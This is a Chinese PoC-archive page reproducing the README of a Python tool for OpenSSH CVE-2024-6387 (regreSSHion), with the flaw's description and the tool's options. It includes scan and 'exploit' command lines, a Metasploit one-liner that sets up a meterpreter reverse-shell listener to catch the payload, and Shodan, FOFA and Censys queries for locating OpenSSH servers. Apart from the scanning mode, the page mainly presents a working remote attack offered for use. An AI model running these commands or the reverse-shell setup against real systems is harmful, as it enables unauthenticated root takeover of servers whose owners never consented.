POC详情: ce0d34ab04d93f4e334f00fb9a896f1ca87fb58f

来源
关联漏洞
标题: OpenSSH 安全漏洞 (CVE-2024-6387)
描述:OpenSSH(OpenBSD Secure Shell)是加拿大OpenBSD计划组的一套用于安全访问远程计算机的连接工具。该工具是SSH协议的开源实现,支持对所有的传输进行加密,可有效阻止窃听、连接劫持以及其他网络级的攻击。 OpenSSH 存在安全漏洞,该漏洞源于信号处理程序中存在竞争条件,攻击者利用该漏洞可以在无需认证的情况下远程执行任意代码并获得系统控制权。
描述
Remote Unauthenticated Code Execution Vulnerability in OpenSSH server (CVE-2024-6387)
介绍
##  Description
Remote Unauthenticated Code Execution Vulnerability in OpenSSH server

CVE-2024-6387.py is a lightweight, efficient tool designed to identify servers running vulnerable versions of OpenSSH, specifically targeting the recently discovered `regreSSHion` vulnerability (CVE-2024-6387). This script facilitates rapid scanning of multiple IP addresses, domain names, and CIDR network ranges to detect potential vulnerabilities and ensure your infrastructure is secure.

A signal handler race condition was found in OpenSSH's server (sshd), where a client does not authenticate within LoginGraceTime seconds (120 by default, 600 in old OpenSSH versions), then sshd's SIGALRM handler is called asynchronously. However, this signal handler calls various functions that are not async-signal-safe, for example, syslog().



##  Details
You can find the technical details [here](https://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txt).

The flaw, discovered by researchers at Qualys in `May 2024`, and assigned the identifier CVE-2024-6387, is due to a signal handler race condition in sshd that allows unauthenticated remote attackers to execute arbitrary code as root.

"If a client does not authenticate within LoginGraceTime seconds (120 by default), then sshd's SIGALRM handler is called asynchronously and calls various functions that are not async-signal-safe," 

"A remote unauthenticated attacker can take advantage of this flaw to execute arbitrary code with root privileges."

## ⚙️ Usage
## Scanning OpenSSH Server  
> Requirement: python3 latest
```bash
### Command Line Arguments
mode: Selects the operation mode. Choices are scan or exploit.
-T, --targets: IP addresses, domain names, file paths containing IP addresses, or CIDR network ranges.
-f, --outputfile: File to save results to (e.g., result.json).
-g, --gracetimecheck: Time in seconds to wait after identifying the version to check for LoginGraceTime mitigation (default: 120 seconds).
-n, --nic: Network NIC (default: 'eth0').
-o, --output: Output format for results (choices: 'csv', 'txt', 'json').
-p, --port: Port number to check or exploit (default: 22).
-s, --speed: Number of threads to increase race condition chances (default: 10).
-t, --timeout: Connection timeout in seconds (default: 1 second).
-H, --resolve-hostnames: Resolve Hostnames
```

### Examples

#### Scanning a single URL/IP

```bash
python3 CVE-2024-6387.py scan -T example.com -p 22
```

#### Running the exploit into one domain / ip

```bash
python3 CVE-2024-6387.py exploit -T example.com -p 22 -n eth0

```

# Escalation Process

### Catching payload
All you have to do is to run the command below first (change the {yourip} handler) and run the exploit afterwards with the command above 
```bash
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST {yourip}; set LPORT 9999; exploit -j"
```

## Output
The tool provides color-coded output to the console for better readability:

Green: Successful connection or operation.
Red: Failed connection or error.
Yellow: Warnings or noteworthy information.
Cyan: General information or status updates.

##  Host Discovery 
- **Hunter**: `/product.name="OpenSSH"`
- **FOFA**: `app="OpenSSH"`
- **SHODAN**: `product:"OpenSSH"`
- **CENSYS**: `(openssh) and labels=remote-access`

##  References
- **Original Author**: [CVE-2024-6387 Scanner](https://github.com/xaitax/CVE-2024-6387_Check)
- **Original Author**: [CVE-2024-6387 PoC](https://github.com/zgzhang/cve-2024-6387-poc)

## Further Referencess
- http://www.openwall.com/lists/oss-security/2024/07/01/12
- https://bugzilla.redhat.com/show_bug.cgi?id=2294604
- https://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txt
- https://ubuntu.com/security/CVE-2024-6387
- https://ubuntu.com/security/notices/USN-6859-1
- https://explore.alas.aws.amazon.com/CVE-2024-6387.html
- https://archlinux.org/news/the-sshd-service-needs-to-be-restarted-after-upgrading-to-openssh-98p1/
- https://www.openssh.com/txt/release-9.8
- https://lists.mindrot.org/pipermail/openssh-unix-announce/2024-July/000158.html
- https://blog.qualys.com/vulnerabilities-threat-research/2024/07/01/regresshion-remote-unauthenticated-code-execution-vulnerability-in-openssh-server
- http://www.openwall.com/lists/oss-security/2024/07/01/13
文件快照
 [4.0K]  /data/pocs/ce0d34ab04d93f4e334f00fb9a896f1ca87fb58f
├── [ 15K]  7etsuo-regreSSHion.c
├── [ 18K]  CVE-2024-6387.py
└── [4.2K]  README.md

0 directories, 3 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。